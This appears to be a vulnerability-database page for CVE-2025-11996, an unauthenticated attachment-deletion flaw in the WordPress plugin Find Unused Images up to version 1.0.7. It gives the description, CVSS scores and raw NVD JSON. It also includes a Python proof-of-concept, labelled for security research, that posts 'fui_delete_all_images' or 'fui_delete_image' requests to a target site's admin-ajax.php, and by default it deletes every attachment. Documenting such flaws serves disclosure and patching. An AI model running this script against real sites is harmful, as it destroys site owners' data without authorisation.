Security Vulnerability Report
中文
CVE-2025-11996 CVSS 5.3 MEDIUM

CVE-2025-11996

Published: 2025-11-11 04:15:45
Last Modified: 2025-12-22 15:03:56

Description

The Find Unused Images plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the fui_delete_image() and fui_delete_all_images() functiosn in all versions up to, and including, 1.0.7. This makes it possible for unauthenticated attackers to delete all of a site's attachments.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:toastwebsites:find_unused_images:*:*:*:*:*:wordpress:*:* - VULNERABLE
Find Unused Images WordPress插件 <= 1.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11996 PoC - Unauthenticated Arbitrary File Deletion # Target: WordPress Find Unused Images Plugin <= 1.0.7 def delete_single_image(target_url, attachment_id): """Delete a single attachment by ID""" data = { 'action': 'fui_delete_image', 'attachment_id': attachment_id } response = requests.post(target_url, data=data) return response def delete_all_images(target_url): """Delete all attachments on the site""" data = { 'action': 'fui_delete_all_images' } response = requests.post(target_url, data=data) return response def main(): if len(sys.argv) < 2: print('Usage: python cve-2025-11996-poc.py <target_url>') print('Example: python cve-2025-11996-poc.py http://victim.com/wp-admin/admin-ajax.php') sys.exit(1) target = sys.argv[1] # Method 1: Delete all images print('[*] Attempting to delete all attachments...') resp = delete_all_images(target) print(f'[+] Response Status: {resp.status_code}') print(f'[+] Response: {resp.text[:200]}') # Method 2: Delete specific attachment # attachment_id = 123 # resp = delete_single_image(target, attachment_id) # print(f'Deleted attachment {attachment_id}') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11996", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:45.130", "lastModified": "2025-12-22T15:03:56.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Find Unused Images plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the fui_delete_image() and fui_delete_all_images() functiosn in all versions up to, and including, 1.0.7. This makes it possible for unauthenticated attackers to delete all of a site's attachments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:toastwebsites:find_unused_images:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.7", "matchCriteriaId": "90EE6CE1-E2A9-4E8F-8123-CFC4151FE37A"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/find-unused-images/tags/1.0.7/inc/generic-functions.php#L44", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/find-unused-images/tags/1.0.7/inc/generic-functions.php#L53", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wordpress.org/plugins/find-unused-images/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3aa1964e-97e9-4166-89d5-788b336790b6?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://wordpress.org/plugins/find-unused-images/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Product"]}]}}